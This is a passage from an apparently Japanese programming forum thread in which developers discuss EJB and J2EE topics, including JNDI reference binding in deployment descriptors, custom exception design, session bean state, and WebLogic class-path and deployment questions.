確かJNDIを意識する必要があるのが、
・JAR自体につけるJNDI
・WARでつけるJNDI参照
・EARでつけるJNDI参照
・クライアントの直打ち
の4箇所だったと思うんだけど、
「JAR自体にJNDI名をつけてJNDIに登録して、クライアントからその名前で呼ぶ・・・というのは
分かるんだけど、WARやEARにJNDI参照をつけるのには何か意味があるのかなー?って
思ったわけです。コンテナがこの情報を使って何をしてるのかが分からないんです。
これって特に指定しなくても動作するものなのですか?

あと、リソース参照というのも分かりません。JDBCのDataSourceとかもここに登録するの?
今はコードのlookupで"jdbc/xxxxx"を決め打ちしてて、これで特に問題ないから気にしてないんだけど、
DDに記述すると何か挙動が変わるんでしょうか?

うーんどうやら根本的な知識が不足しているようだ。

0268263NGNG
>>267
少し遠まわりになるけど、
http://www.wakhok.ac.jp/%7Emaruyama/j2ee/j2ee/
とかで少し勉強することをおすすめする。
ちみなら、3〜4時間もあれば読み終る。
0269デフォルトの名無しさんNGNG
コード中で
lookup(java:comp/env/jdbc/hogeDatasource)
でルックアップしている場合は、そのENC(環境ネーミングコンテキスト)内の
jdbc/hogeDataSource
はDDの中で宣言しておかなければいけないのよ。

そのjdbc/hogeDataSource を、実際のアプリケーションサーバーで定義されているDatasourceの
JNDI名(myappli/fooDataSource)とbindingしなければいけないのよ。

jdbc/hogeDataSource -> myappli/fooDataSource

bindingの仕方はアプリケーションサーバーによって異なるのよ。

直接、lookup(jdbc/hogeDatasource)
のようにするのは、もう古いやりかたなわけよ。
0270262NGNG
>>268殿、>>269殿
大変参考になります。当方たった1人でJ2EEの調査やらされてるもので。
で、あまり頭よくないお馬鹿さんなので、もう少し質問させてください。
教えていただいたサイトはとりあえずJNDIの項目だけ読みました。
自分なりに以下のような手順になるのかな?と考えたんだけど、これであってますか?
(たぶん間違ってるだろうなぁ)

1.まずDDにJNDI名とその実体をバインディングするように記述する。
  EJBであればEJB-JARのDDに、実体クラス名「samplepackage.HogeHogeHome」とJNDI名「ejb/HogeHoge」のマッピングを登録する。
  JDBCであれば??????のDDに、定義Datasource名「sampledatasouece/HogeHogeDB」とJNDI名「jdbc/HogeHoge」のマッピングを登録する。
2.続いてDDにJNDI名と参照するクライアント側の変換マッピングを記述する。
  EJBであればWARとEARに、使用するJNDI名「ejb/HogeHoge」とLookup名「sampleapp/ejb/HogeHoge」のマッピングを登録する。
  JDBCであれば???????に、使用するJNDI名「jdbc/HogeHoge」とLookup名「sampleapp/jdbc/HogeHoge」のマッピングを登録する。
3.コードの中ではLookup名でNamingContextからオブジェクトを取得する。
  EJBであれば、lookup( "sampleapp/ejb/HogeHoge" )とする。
  JDBCであれば、lookup( "sampleapp/jdbc/HogeHoge" )とする。

??????の部分は分かりませんでした・・・

0271263NGNG
>>270
JDBCドライバをJNDI名にバインドするのは、各アプリケーションサーバによって違う。
基本的にはサーバの設定ファイルか、APIで設定する
0272262NGNG
どもです。>>271
そういえばJDBC設定はJ2EE RIではconfファイルに、WASでは管理コンソールからリソース設定した記憶があります。勘違いですスミマセン。
「jdbc:oracle:thin:servername:sid|jdbc/HogeHogeDB」とかいうヤツですよね?

てことは1のステップでどこかにJDBC設定を行う必要はないってことですか?(APサーバとして既に設定されているから)
で、2のステップが、
「JDBCであればEJB-JARに、使用するJNDI名「jdbc/HogeHoge」(APサーバに登録済)とLookup名「sampleapp/jdbc/HogeHoge」のマッピングを登録する。」
となるんでしょうか?

0273263NGNG
>>272
良く見ると微妙に勘違いしてそう。基本は、jndi名でlookupするんだけど。
あと、earのDD(application.xml)ではJNDIの設定なんて無いけど。
0274デフォルトの名無しさんNGNG
あのう、突然でしかも根本的な質問なんですが…

sunのドキュメントとかネットの解説ページのEJBのサンプルって有りますよね。
あれってほとんどが同じVM上でクライアントのプログラムを実行してるじゃないですか

で、そのクライアントプログラムを別のVM上で実行しようとしてるんですが
それについての詳しい資料がみつかりません。

ネットで探したり本屋で立ち読みしたり(金がないんで)してどうやら環境変数を
設定して実行すればいいのかなとは思ったんですが(java -D…って感じで)
もう少し詳しい資料、もしくは環境変数の設定のし方を教えていただけませんか?
0275262NGNG
> 良く見ると微妙に勘違いしてそう。基本は、jndi名でlookupするんだけど。

あれ?そうなんですか?JDBCの話ですよね?
てゆうか今は実際にAPサーバに登録しているJNDI名をクライアントコードに
ハードコードして呼び出しているんだけど、
>>269では「直接書くのは古いやり方なのでDDでマッピングしたものを使うべき」
のようなコメントがあったので、むりやりそうしてみたんですけど。

> あと、earのDD(application.xml)ではJNDIの設定なんて無いけど。

「リソース参照」とかいうところがJDBC Datasourceのそれなのかなぁ?って思ってました。
これから会社に行ってもう一度見直してみます・・・。

0276デフォルトの名無しさんNGNG
DDのなかで宣言しておくのは、あくまで、コードの中で使われる仮の名前。
その仮の名前を実際のアプリケーションサーバーで定義されているJNDI名にマッピングさせるのがbinding。

bindingの方法はアプリケーションサーバーによって、異なる。
SUN J2EE RI なら sun-j2ee-ri.xml (だったっけ?)にその情報は書かれるし、
WebSphere なら ibm-ext-bnd.xmi に書かれる。
0277デフォルトの名無しさん ◆MSEEFfect2 NGNG
OREILLYの、J2EE読んでるけど、EJB1.0までしか書かれていないんです。(正確にはベータ)
「DD」の意味とか調べたいのですが、何を参考にされていますか。
よろしくだゴルァ
0278デフォルトの名無しさんNGNG
結局EJBって何なのですか?
本当に必要なんでしょうか?
どういった時に必要、もしくは威力を発揮するのでしょうか?
0279デフォルトの名無しさんNGNG
中小規模案件にEJB適用すると、
無駄にコストがかさむような気がするな。。。必要以上に複雑になるような。
メンテ性に悪い気もする。
0280デフォルトの名無しさんNGNG
>>279
279さんが書くコードよりはメンテナンス性は良いし、拡張性も良いと思います。
0281デフォルトの名無しさんNGNG
効率は上がるよ。
分かってる人が適切なツール使ってれば。
不勉強な人がviとか秀丸で作業してるようならお勧めできないが。
0282わかりません ◆MSEEFfect2 NGNG
>>278
分散環境で動かすビジネスロジックBean
>>279
メンテ性はEJBDocletに期待。と逝ってみるテスト
0283デフォルトの名無しさんNGNG
お前らがEJBやJ2EE適用してる案件って、どの程度の規模なんですか?
単純にServlet+JSP+JDBCでやったほうが効率いい場合ってありますよね?
0284EJBわかりません ◆MSEEFfect2 NGNG
>>283
EJBのパフォーマンスについては既出なのでsage
0285デフォルトの名無しさんNGNG
>>284
パフォ悪いってことでつか?
0286デフォルトの名無しさんNGNG
>>283
まさかとは思いますが、あなたは効率のみに注目しているのですか?
0287デフォルトの名無しさんNGNG
>>277
じゃ、OREILLYのEJB第3版はどうよ。
0288デフォルトの名無しさんNGNG
EJB で以下のようなメソッドがあった時、
処理異常で RemoteException を返すのはよいとして、
obj の値の組み合わせによって作業を継続できないような場合、
何を返すのが妥当なんでしょう?

public Object[] getXxx(Object obj)
0289デフォルトの名無しさんNGNG
よくわからんが。。。

  呼ぶ前に例外がでないように検証する。
or RemoteException派生クラスを送出。
or RemoteExceptionを送出。
or nullを返す。
0290デフォルトの名無しさんNGNG
>>288
RemoteException を EJB内からthrowしちゃだめ。
これ常識。
ユーザー例外 か EJBException をthrowしましょう。
0291デフォルトの名無しさんNGNG
>>289
RemoteException派生クラスなんてもってほか。
ユーザー例外は、RuntimeExceptionやRemoteExceptionから派生しちゃだめ。
0292288NGNG
>>289さん、290さん、291さん

教えていただいたことで検索してみました。
EJB から throw した EJBException をコンテナが RemoteException に置き換える(らしい)から
RemoteException を使うのはだめ。
EJBException は RemoteException に置き換えられる(らしい)から
特定の例外を返すには向いていない気がしました。
となると、java.lang.Exception を継承した ユーザ例外を作成するのが
よいんでしょうか。
0293デフォルトの名無しさんNGNG
>>292
はい。java.lang.Exception を継承したユーザ例外を作成してください。
0294デフォルトの名無しさんNGNG
>>292
ただし、ユーザ例外の場合には自動的にはRollbackが掛からないから
気をつけてください。最終的にはEJBExceptionで包んだほうが良いかも。
0295デフォルトの名無しさんNGNG
>>292
ユーザー例外をthrowする前に、EJBContext#setRollbackOnly() を呼ぶという
のもオススメです。
0296289NGNG
おお、いらん恥かきつつも言ってみるもんだ。
どもです。勉強になりますた。
0297288NGNG
>>293さん、294さん、295さん、289さん、

コンテナ上で返す例外は、色々気をつけなければいけない事があるのですね。
勉強になりました。ありがとうございます。
0298デフォルトの名無しさんNGNG
ちょっと前に話題にのぼったJNDIのことなんだけど、
結局、EJBが持つデフォルトのJNDI名をそのまま使って呼び出しても問題はないわけね?

というか、今作っているシステムはそのまま素のJNDI名前でlookupかけていて、
WARからEJB参照は一切記述していないんだけど。
そもそもそのJNDI名自体が普遍的で変わることなんてなさそうだから。
(そもそもわざわざ別名をつける必要があるほど名前がコロコロ変わるシチュエーションなんてあるの?)

それによってパフォーマンスが落ちるとかはないんでしょ?

0299デフォルトの名無しさんNGNG
>>298
やめとけ。
悪い癖とわかっていながら、なぜそれを続ける?
名前が変わるからとかそんな単純な理由だけではないぞ。

NamingContextがDistributedなApplication Serverの場合、対応できないぞ。
そもそもSpecで直接lookupするやり方は完全にDeprecatedとされている。
0300デフォルトの名無しさんNGNG
>>274
あなたの環境は知らないがだいたいやることは。
・クライアント用JDNINamingContextFactoryが入ったjarを入れる。(アプリケーションサーバについてるぞ)
・EJBのスタブを入れる。(インターフェースだけでも結構です)
・InitialContextのコンストラクタにJndiのパラメータを突っ込んでnewする。(アプリケーションサーバ依存)

あとはおんなじ。
PotableRemoteObject.narrow()でキャストすんのを忘れんなよ!

0301デフォルトの名無しさんNGNG
>>299
そんなに悪い癖では無いとおもうよ。
EJBのクラスタリングに対応出来る可能性が大きいしね。
0302274NGNG
>>300
ありがとうございます。
InitialContextのコンストラクタに引数を与えるということをしていませんでした
どこかの本にInitialContextには引数を与えないほうがいいみたいなことが書いて
あったような気がして(勘違いかも)…

とりあえず300ゲトおめでとうございます
0303デフォルトの名無しさんNGNG
>>301
逆だろ?
対応できなくなる可能性があるぞ。
0304 NGNG
JNDIってEJB以外でも使いますか?
EJBを極めるにはJNDIをEJBとは個別に勉強しなきゃならないの?
0305デフォルトの名無しさんNGNG
>JNDIってEJB以外でも使いますか?

J2EE専用の技術ってわけじゃないよ。
名前とリソースの関係を扱う一般的な技術。

一応チュートリアル貼っとく。
http://java.sun.com/products/jndi/tutorial/getStarted/index.html
0306デフォルトの名無しさんNGNG
>>303
詳しく説明してください
0307デフォルトの名無しさんNGNG
>>302
確かにコンテナ内でEJBがInitialContextを呼び出すときは、デフォルトコンストラクタを使うのが良いです。
まず問題ないし、ポータビリティが増すからね。
対してEJBクライアント単体ではどのコンテナにつなぐかわからないから、引数つきでも良いんだと解釈しています。
実際そうしないしないと、呼べないし(藁)。
0308デフォルトの名無しさんNGNG
>>306
クラスタ環境だと、deploy時に特別なJNDI名とbindingしなければいけないってことはよくあることだよ。
例をあげると、WebSphere V5の場合
cell/cluster/clustername/ejb/yourHome
のようにね。
アプリケーションサーバー依存のこういうことを、
コード中で意識したくはないでしょ。
0309デフォルトの名無しさんNGNG
>>308
WebSphere V5 以外には?
0310デフォルトの名無しさんNGNG
>>308
へー。
ちなみに Borland Enterprise Server だと、
・JNDI名直接
・java:comp/env/ejb/XXXX による環境変数
のどちらでも、勝手にクラスタリングやフェイルオーバーが掛かりますね。
特別なJNDI名にしなきゃいけないのは使えないですね。
0311デフォルトの名無しさんNGNG
>>310
BESってCORBAだと実績のあるVisiBrokerベースだし、
WASより使い勝手いいと思うんだけど、普及しないね。

やっぱ某の営業がヘタだからかな(藁
0312デフォルトの名無しさんNGNG
JNDI名直接でやりたいって言っている人たちって、ようするに
直すのがめんどくさいだけなんでしょ。
勝手にすればいいじゃん。
0313 NGNG
アホなスレ・・・
0314デフォルトの名無しさんNGNG
>>313
どこが?
0315288NGNG
ユーザ例外は作成したのですが、
int 値は基本データ型なので、クライアントに送信できますが、
String は参照型なので、セットする XxxException(String code) のような
コンストラクタでセットした値は null になってしまいました。
この String をクライアントに送信するにはどうすればよいのでしょうか?
0316デフォルトの名無しさんNGNG
>>315
どのようなユーザー例外を作成したのですか?
具体的に書きましょう。
0317288NGNG
御助言をお願いします。
以下のように実装されている Exception に対し XxxException(Throwable , int) でインスタンスを生成した時、
EJBを呼び出しているクライアントで getCode() をすると、設定した int 値を返すのですが、getCause() は null を返すのです。
EJB の中でこの Exception を catch した後に getCause() した時は Exception を取得できます。

public class XxxException extends Exception {

  private Exception detail;
  private int code = NULL;

  public XxxException() {}

  public XxxException(Exception e) {
    this.detail = e;
  }

  public XxxException(Exception e, int code) {
    this.detail = e;
    this.code = code;
  }

  public int getCode() {
    return code;
  }

  public Exception getCause() {
    return detail;
  }
}
0318288NGNG
切抜きだったのでゴミが入っていますが、NULL は 定数の -1 です。
0319デフォルトの名無しさんNGNG
>>317
> private int code = NULL;
NULLとはなんですか?
正確に書きましょう。
0320288NGNG
お手数をおかけして申し訳ないです。
int型の定数の -1 です。

private static int NULL = -1;
0321デフォルトの名無しさんNGNG
>>317
Borland Enterprise Server 5.1 にて試しましたが、以下のようになりました。
うまく行っているようです。

---- EJB実装 --------
try {
... // lookupを意図的に失敗させる
} catch (Exception ex) {
throw new mypack.MyException(ex, 99);
}

---- EJBクライアント --------
try {
remote.foo(); // EJBを呼び出す
} catch (MyException ex) {
System.err.println(ex.getCause()); // javax.ejb.ObjectNotFoundExceptionと表示
}
0322288NGNG
>>321
結論からいうと、うまく動きました。
321さん。深く感謝します。

うまく動いていないと思ったのは、
EJB から返ってきた XxxException を JSP でデバック出力していたのですが
デバック出力するスタックトレースが失敗して発生していた例外と、
Servletで表示していた getCause() の例外を見誤っていた。
コーディングミスで throw new XxxException(e) したのを再 catch していたみたいで
思っていたエラーが表示されない→XxxException が動いていない、
と思ってしまったのが原因でした。
0323デフォルトの名無しさんNGNG
ちょっと前の話になるけど、EJBを作る際の例外の扱い方について確認していいですか?

・EnterpriseBeanからRuntimeException/RemoteExceptionおよびそれを継承した例外をスローしてはならない。
・EJBExceptionはEJBコンテナによってRemoteExceptionに置き換えられる。
・基本はEJBExceptionをスローすることだが、EJBExceptionだけでは自由度が高くない為、Exceptionを継承したカスタム例外クラスを作るとよい。その場合、カスタム例外クラスはRemoteExceptionから派生してはならない。

以上を受けて…

・Homeインターフェイスについては、CreateExceptionとRemoteExceptionをスローする。
・Remoteインターフェイスについては、RemoteExceptionまたはカスタム例外をスローする。
・EnterpriseBeanについては、EJBExceptionまたはカスタム例外をスローする。
・但しコンテナがコールバックするメソッド(ejbXXXX)はRemoteExceptionをスローする。(ejbCreateのみCreateExceptionとEJBExceptionをスローする)
・EnterpriseBeanからカスタム例外をスローする場合(つまりEJBExceptionをスローしない場合)は、rollback処理を自己責任で実装する。(EJBContext#setRollbackOnlyを呼ぶ等)

こんな認識で合ってます?

0324JNDIワケワカランNGNG
今までJNDIにEJBバインドを行っていなかったのだけど、最近のスレを読んでJNDIを登録してみようと思った。
(使っているのはWebSphereだが、まずJ2EE RIから確認してみようと思っている)

で、まずEARのsun-j2ee-ri.xmlに以下を記述。

<enterprise-beans>
 <ejb>
  <ejb-name>HogeHogeBean</ejb-name>
  <jndi-name>sample/HogeHoge</jndi-name>
   :
 </ejb>
</enterprise-beans>

これでHogeHogeBeanがsample/HogeHogeという名前でJNDIに登録されるようになる(はず)。
次にWARのweb.xmlに以下を記述。

<ejb-ref>
 <ejb-ref-name>ejb/HogeHoge</ejb-ref-name>
 <ejb-ref-type>Session</ejb-ref-type>
 <home>test.sample.HogeHogeHome</home>
 <remote>test.sample.HogeHoge</remote>
</ejb-ref>

これでWAR内のプログラムからejb/HogeHogeという名前で呼び出せるようになる(はず)。
0325JNDIワケワカランNGNG
続き

最後にEARのsun-j2ee-ri.xmlに以下を記述。

<web>
 <ejb-ref>
  <ejb-ref-name>ejb/HogeHoge</ejb-ref-name>
  <jndi-name>sample/HogeHoge</jndi-name>
 </ejb-ref>
</web>

これでWAR内のプログラムからejb/HogeHogeをlookupすればsample/HogeHogeにバインディングされて登録されているEJBが呼び出せる(はず)。
なのに実行するとjavax.naming.NameNotFoundExceptionがでてしまう。
なんか設定間違ってる?
JNDI関係はマニュアルが少ないからよく分からん。
0326デフォルトの名無しさんNGNG
>324
ejb/HogeHogeというのはweb.xmlとsun-j2ee-ri.xmlを結びつけるためのもので、
lookupすべきはsample/HogeHogeかと。

>323
た、多分それで…
0327デフォルトの名無しさんNGNG
>>323

>・Homeインターフェイスについては、CreateExceptionとRemoteExceptionをスローする。
CreateExceptionとRemoteException だけとは限らないですよね?

>・Remoteインターフェイスについては、RemoteExceptionまたはカスタム例外をスローする。
RemoteExceptionまたはカスタム例外 だけとは限らないですよね?

>・EnterpriseBeanについては、EJBExceptionまたはカスタム例外をスローする。
EJBExceptionまたはカスタム例外 だけとは限らないですよね?

>・但しコンテナがコールバックするメソッド(ejbXXXX)はRemoteExceptionをスローする。
RemoteException だけとは限らないですよね?
0328デフォルトの名無しさんNGNG
>>327

可能かどうか?ではなく、それが推奨されているかどうか、EJB作法として一般的かどうか?
について考察しているから、「〜だけに限らない」のであれば、その「限らない」ものが何か?
そしてそれがどのくらい一般的で意味のあるものかどうかを書かなければ相手にされませんぞ。

0329デフォルトの名無しさんNGNG
>>328
「限らない」=「いくらでもある」ということでは?
0330デフォルトの名無しさんNGNG
興味あるので具体例キボンヌ
0331デフォルトの名無しさんNGNG
>>326
>ejb/HogeHogeというのはweb.xmlとsun-j2ee-ri.xmlを結びつけるためのもので、
>lookupすべきはsample/HogeHogeかと。

話の流れとはあまり関係ないが、lookupする名前はejb/xxxxxxにして、実際に登録する名前をsample/xxxxxxにするのが良いと聞いたことがある。
PetStoreもJNDI名はestore/xxxxxxにしてlookupはejb/estore/xxxxxxみたいな感じだったよね?
勘違いならスマソ
0332デフォルトの名無しさんNGNG
別掲示板とのマルチポストでスマンが、
Stateless Session Beanで、リクエストの実行数を制御することは可能?

具体的には、1つ1つのStateless Session Beanに対して、
・デフォルトで実体化されていてリクエストを待ち受けているインスタンス数を設定する
・大量リクエスト要求による負荷アクセス時に、最大同時リクエスト処理数(=インスタンス数)の
上限を設定しておき、残りのリクエストについてはキューイングする

といったことが行いたいのだけど、こういうのってEJBコンテナの設定で可能なのかなぁ?

0333デフォルトの名無しさんNGNG
>>332
Stateless Session Beanって、最大リクエスト数=インスタンス数には
ならないのではないでしょうか。
たいていはスレッド数の上限を設けることで制限すると思うけど、
個々のBean毎にそれが設定できるアプリケーションサーバは
あんまり見たことないような。私が知っているものは限られているので
あるのかもしれませんが。
っていうか、そういうことってマニュアルに書いてないですか?
0334デフォルトの名無しさんNGNG
>>332
できるよ。
InfoCenterみてみなよ。
0335ageNGNG
Session Bean使う場合って、Stateful Session Beanって本当に必要?
よくショッピングカートを例にして「カートはStateful Session Beanにしましょう」なんていってるサンプルあるけどさ。
そんなのすべてStatelessにしてデータを取得したら全てVOにしてServlet側のSessionに格納したほうがはるかに便利じゃない?
0336デフォルトの名無しさんNGNG
>>335
WebApplication作るときにもHttpSession使わず、Statelessな仕組み
のみで行くの?
0337デフォルトの名無しさんNGNG
>>336
突っ込みがおかしい。
>>335は
セッションの状態情報維持にはHttpSessionを使用して、Servlet<->EJB
はStatelessでいいじゃん、という話しだと思うが。
0338335NGNG
いやそうじゃなくって、Servletの持つHttpSession「を」状態の保持に使おうといってるの。
わざわざ1ユーザに対して1 HttpSession & 1 Steteful Session Beanを持つ必要ないんじゃないかって。
100人がアクセスした場合に、100 HttpSessionのみならず 100 EJB Instanceっていうのはなんかイヤじゃない?

0339335NGNG
>>337
その通りです。ありがと。
0340デフォルトの名無しさんNGNG
>>338
HttpServeltからしかつかわないのなら、それが妥当でしょうね。

EJBは、極言すれば単なるRMIサーバのラッパですから、それ以外
にも使い道があるということで、それによってはSFSBもありかも。
0341335NGNG
>>340
ご意見どーも。Servletからしか使う予定はないっす。
Session FacadeやらValue Objectやらパターン使っていろいろやっていくと、
EJBはStatelessのほうが自然じゃないかって思っただけなんだよね。
ましてやEJBをJSPからuseBeanする気なんかないし。

0342デフォルトの名無しさんNGNG
適材適所ってことじゃないの。
例えば、比較的クライアント数が少ないけど、
やりとりする情報量が多いようなシステムでは、
状態管理にHttpSessionを使って、SFSBをデータキャッシングに
使うようなやり方だって考えられる。
0343デフォルトの名無しさんNGNG
>>341
SessionFacadeは、EJBクライアント側が個々に状態維持を行う
ことが可能であるという前提だからねえ。
でも、そうではない場合って確かにそんなにはなさそうだね・・・
EJBコンポーネントの単体実装だけで売る時とか?
0344デフォルトの名無しさんNGNG
>>342
SFSBにキャッシュはイクナイ!EJBコンテナのクラスタリングなんかした
日には、コピー作りまくりでえらいことになるッス!
サーバー側でVOでキャッシュするか、HttpServlet側でキャッシュして、
セッションをまたいで共用すべきかと・・・
0345デフォルトの名無しさんNGNG
>>344
そっか、考えてなかったです。ごめんなさい。
0346デフォルトの名無しさんNGNG
> SessionFacadeは、EJBクライアント側が個々に状態維持を行う
> ことが可能であるという前提だからねえ。

StatelessSessionBeanは、のtypoか?
SessionFacadeは、単にFacadeのSessionBeanによる実装で、クライアント
でのセッション管理が必須な訳では無いよ。statelessで実装した場合に
必須となるだけで、statefulで実装するのもあり。

statefulは、ユーザー認証されている事をサーバ側のアプリでも保証して
おきたい場合なんかに使えるのでは?
0347デフォルトの名無しさんNGNG
>>344
そんなの特定のApplicationサーバーの作りが悪いだけでしょ?
0348 NGNG
APサーバってどれが良いの?
0349デフォルトの名無しさんNGNG
>>348
デファクト使うなら、WebLogicかWebSphereかな。
フリーのJBossとかもいいかも。
WebObjectsも最近使ってるが、かなりいい。
0350デフォルトの名無しさんNGNG
>>344
あんたは、クラスタリングされているEJBコンテナ同士で、内部で所有している
セッション状態情報の同期どうやって取るつもりなの?性能落すか、コピー作り
まくるかのどっちかしかないと思うんだが。
0351342NGNG
一日後にふと思たんだが、単なるキャッシュなんだからクラスタリング
されていても同期とらんでもいいんじゃないか?
0352342NGNG
>>351
いや、それ以前に、StatefullSessionBeanを使わなくてもいいのか。
Statelessでもキャッシングならできるわな。
0353デフォルトの名無しさんNGNG
HttpSessionに例えばユーザ情報を入れる場合、ユーザIDをキーにして
setAttributeでオブジェクトにバインドすることが多いんですけど、
SFSBを同様に使用する場合、どうやってユーザIDをバインドするんですか?
0354デフォルトの名無しさんNGNG
>>353
RMIのすぐ上の層で隠蔽かかってるでしょ。気にしないでいい。
TCP/IPでパケットにIPアドレスやTCPポート番号書いてあること
を、ユーザは気にしないでイイのと一緒。
0355デフォルトの名無しさんNGNG
>>353
SFSBへのHandleをSession.setAttribute(key, handle) しておけ。
0356353NGNG
>>354 >>355
回答ありがとうございます。
すいません、各EJBクライアントマシンに対して1つずつインスタンスが作成
されるという認識で良いのでしょうか。他に目に見える部分でキーを設定し、
インスタンスを生成するということは可能なんでしょうか?
0357デフォルトの名無しさんNGNG
>>356
SFSBとHttpSessionを勘違いしてないか?
とりあえずJBOSSダウソしてみて自分でSFSB書いてみ。
0358353NGNG
>>357
すいません、SFSBのインスタンス数の制御ができるかなと思って質問したのですが、
結局クライアント側のポートなどを変えないと無理ってことですか?
0359デフォルトの名無しさんNGNG
>>358
使っているEJBコンテナのドキュメントに書いてないか?
少なくとも、コード中で意識することではないだろ?
0360nnnNGNG
初めて質問させて頂きます。
WebLogicのstartWebLogic.cmdにCLASSPATH=xxx.jarなどとパスを通して、
EJBの中で他のjarを参照しています。
EJBのjarの中にmanifestファイルにxxx.jarへのパス設定をして、xxx.jarを
含めてみたのですが、WebLogicでEJBのデプロイができません。
(xxx.jarのクラスがないとのエラーになります)
EJBのjarには、jarを含めることはできないのでしょうか?
それとも、デプロイの仕方に問題があるのでしょうか?
0361デフォルトの名無しさんNGNG
どう考えても後者だろうな。
0362デフォルトの名無しさんNGNG
てゆうかWebLogic使ったことないんだけど、
> WebLogicのstartWebLogic.cmdにCLASSPATH=xxx.jarなどとパスを通して、
こんなことしていいのか?
複数のWebアプリケーションから共通で参照されるのであれば将来的にjarのバージョン不整合とか起きないか?
Webアプリケーションからjarを参照するなら、EARにjarを組み込むだけでいいんじゃない?(EARの下に./library/xxxx.jarみたいに)
manifestにはEARルートからそのEAR内jarへの相対パスを記述するはず。(classpath ./libraryみたいな感じ?記述ルール忘れた)


0363デフォルトの名無しさんNGNG
おはようさんです。
>>360,362
legacyシステムとの接続/リアルタイム処理なんかあるとしょうがいないんで
サーバークラスパス内に配置することあります。まじコンポーネント指向でいく
ならメッセージドリブンEJBなど使ってで分離したほうがいいんでしょうが..
サーバークラスは、weblogic.jar(J2EE API,WebLogic API)がどこから
も参照できるのといっしょで、manifestなんか記述する必要ないです。
0364デフォルトの名無しさんNGNG
>>360
俺も最近のWebLogicは使ってないのでよく分からないのだが、
デプロイの時にはstartWebLogic.cmdだけじゃなくて
デプロイコマンドの方にもクラスパスを設定しないと
だめなんじゃない?
0365デフォルトの名無しさんNGNG
>>363
> legacyシステムとの接続/リアルタイム処理なんかあるとしょうがいないんで
> サーバークラスパス内に配置することあります。

何がしょうがないのだろう?

まぁ自作クラスじゃないのだろうが。MQとかRDBが提供してるjarを置くって事だよね?
自作クラスを置いて、そんな言い訳してるなら、考えなおした方がいい。
0366デフォルトの名無しさんNGNG
自作か、自作じゃないかはあんまり問題ではないと思う。
もしもそれが色々なEARから参照されるクラスなら、
むしろシステムクラスパスに設定しておいた方がメンテナンスは楽になる。
一つのEAR内でしか参照されないクラスなら、
>>362のやり方をした方が、良いと思われ。
WebLogicの再起動をしなくても、EAR単位でアプリの起動、終了が可能になる。

WebLogicのクラスローディングについては、以下を参照してみてね。
http://edocs.beasys.co.jp/e-docs/wls/docs70/programming/classloading.html

0367nnnNGNG
EJB.jarの中にxxx.jarを含める方法を教えて頂きたく。
EJB.jarの構造は、
・EJBのclass
・lib
xxx.jar
yyy.jar
・META-INF
weblogic-ejb-jar.xml
MANIFEST.MF
ejb-jar.xml
です。
MANIFEST.MFの内容は、
Manifest-Version: 1.0
Created-By: Ant 1.3
Class-Path: lib/xxx.jar lib/yyy.jar
です。
このEJB.jarをWebLogicのconsole画面でEJBデプロイをすると、
xxx.jarのクラスが参照できないとデプロイエラーになるので、
EJB.jarの中のxxx.jarファイルが参照できていないようです。

EJBを個別にデプロイせずに、EARに含めるにしても、
xxx.jarはWebアプリには提供せず、EJB.jarの中に入れたいのです。
上記のようなEJB.jarがデプロイできないってことは、このEJB.jarを
EARに入れても、xxx.jarは参照できませんよね。

xxx.jar入りのEJB.jarを作る上手い手はありませんか?

0368デフォルトの名無しさんNGNG
見た感じ問題ないと思うが。
まずべリファイのエラーメッセージを送ってくれ。
0369デフォルトの名無しさんNGNG
デプロイ時にエラーになるという事はejbcかけてないモジュールを
デプロイしようとしていてhomeまたはremoteインターフェースでxxx.jar
のクラス参照してるということですよね。デブロイする前にejbcかけ
てみればはっきりするのでは。
もし上記の理由ならクライアント側にもxxx.jarは必要webapアプリなら
WEB-INF/libにほうり込む。当然home,Remoteインターフェースクラスも。
xxx.jarをソースからビルドしこのこのEJBでしか使わないつもりなら
EJBクラス内にいっしょに展開し、DDのejb-client-jarでejbcにクラ
イアントクラスはかせるのが手っ取り早いかも。
0370デフォルトの名無しさんNGNG
亀レスですが...
>>335
SFSBにしとけば、コンテナが勝手にパッシベートしてくれるのが嬉しい

>>347
確かにAPサーバが悪いだけかもしれんが、WLSクラスタがそうだとしたらどうする?
0371デフォルトの名無しさんNGNG
>>367
マニフェストクラスパスは、EARに含めないと、きかないっぽいよ。
http://edocs.beasys.co.jp/e-docs/wls/docs70/ejb/EJB_deployover.html
の、「マニフェスト クラスパス」の項を見てみ。

0372371NGNG
ちなみに、マニフェストクラスパスは、
そもそも外部のjarファイルを参照するときに使う物であって、
jarファイルの中に、さらにjarファイルを含めて
使うためのものではないです。
それ以前に、「Webアプリには提供しない」という要求を満たすために、
EJB.jarの中にxxx.jarを入れなければいけない、というのが
意味がよくわからないな。
単に〜.war、EJB.jar、xxx.jarの3つを独立して作って、
それをEARに含めればいいんじゃないかと思うんですが、
それだと何か不都合があるのでしょうか?
0373デフォルトの名無しさんNGNG
>>372
またくそのとおり。
0374デフォルトの名無しさんNGNG
質問なんですが、ホットデプロイに対応しているのは
WebLogicとJBossだけなんですか?

WebShereは少し触ったけど、デプロイに滅茶苦茶時間が掛かって
大変でした。実はもっと簡単にEJBのテストができたりするのかな?

SunOneとかはどうなんだろ。
0375デフォルトの名無しさんNGNG
>>374

基本的には全てのJ2EEサーバがHotデプロイに対応してるはず。
再起動しないと、アプリを置換できないJ2EEサーバなんて使い物に
ならんだろ。
漏れは、Weblogicと、Jbossしか知らんけどね。
0376デフォルトの名無しさんNGNG
そういや、WebObjectsってちょっと前からJ2EE対応になったよね。
Hot Deployとかにも対応してんのかな?
1サーバあたり¥7マソくらいで、アクセス数無制限ライセンスだから、
安価なJ2EE鯖としてどうじゃろか?とあれこれ資料を探しているのだが。。。
やはりマイナーだなぁ。
0377デフォルトの名無しさんNGNG
>>376
WebObjectってもともと700マソくらいしたのが、100分の1の値段に
なったやつでしょ?
どう考えても、Hot Deployできないなんて考えられんが。
0378デフォルトの名無しさんNGNG
>>374
Borland Enterprise Server はどうだい?
0379 NGNG
WebSphereってホットでプロイあったっけ?
0380デフォルトの名無しさんNGNG
>>377
\700マソ時代は、EJB/J2EE対応ではない、独自概念の製品だったんだよ。
現在のEJBコンテナは、OpenSourceの物を利用してるらしいし。OpenEJB?
J2EE対応は最近なんで、もしかしたらホットデプレート未対応かも。。。
もっとも、運用は拍子抜けするほど簡単なんで、EJB使う必要も無いかも。
ビルドしたアプリを、管理ツールから選択して、起動するだけだからなー。
0381デフォルトの名無しさんNGNG
俺もWebObjectはすごく興味あるなー。
500マソのWebLogicがオーバースペックに感じる案件も多いし。
クライアント数数十人の、イントラ系システムなんかだったら、
きっとWebObjectの方が小回り効いて良さそうだよね。
0382デフォルトの名無しさんNGNG
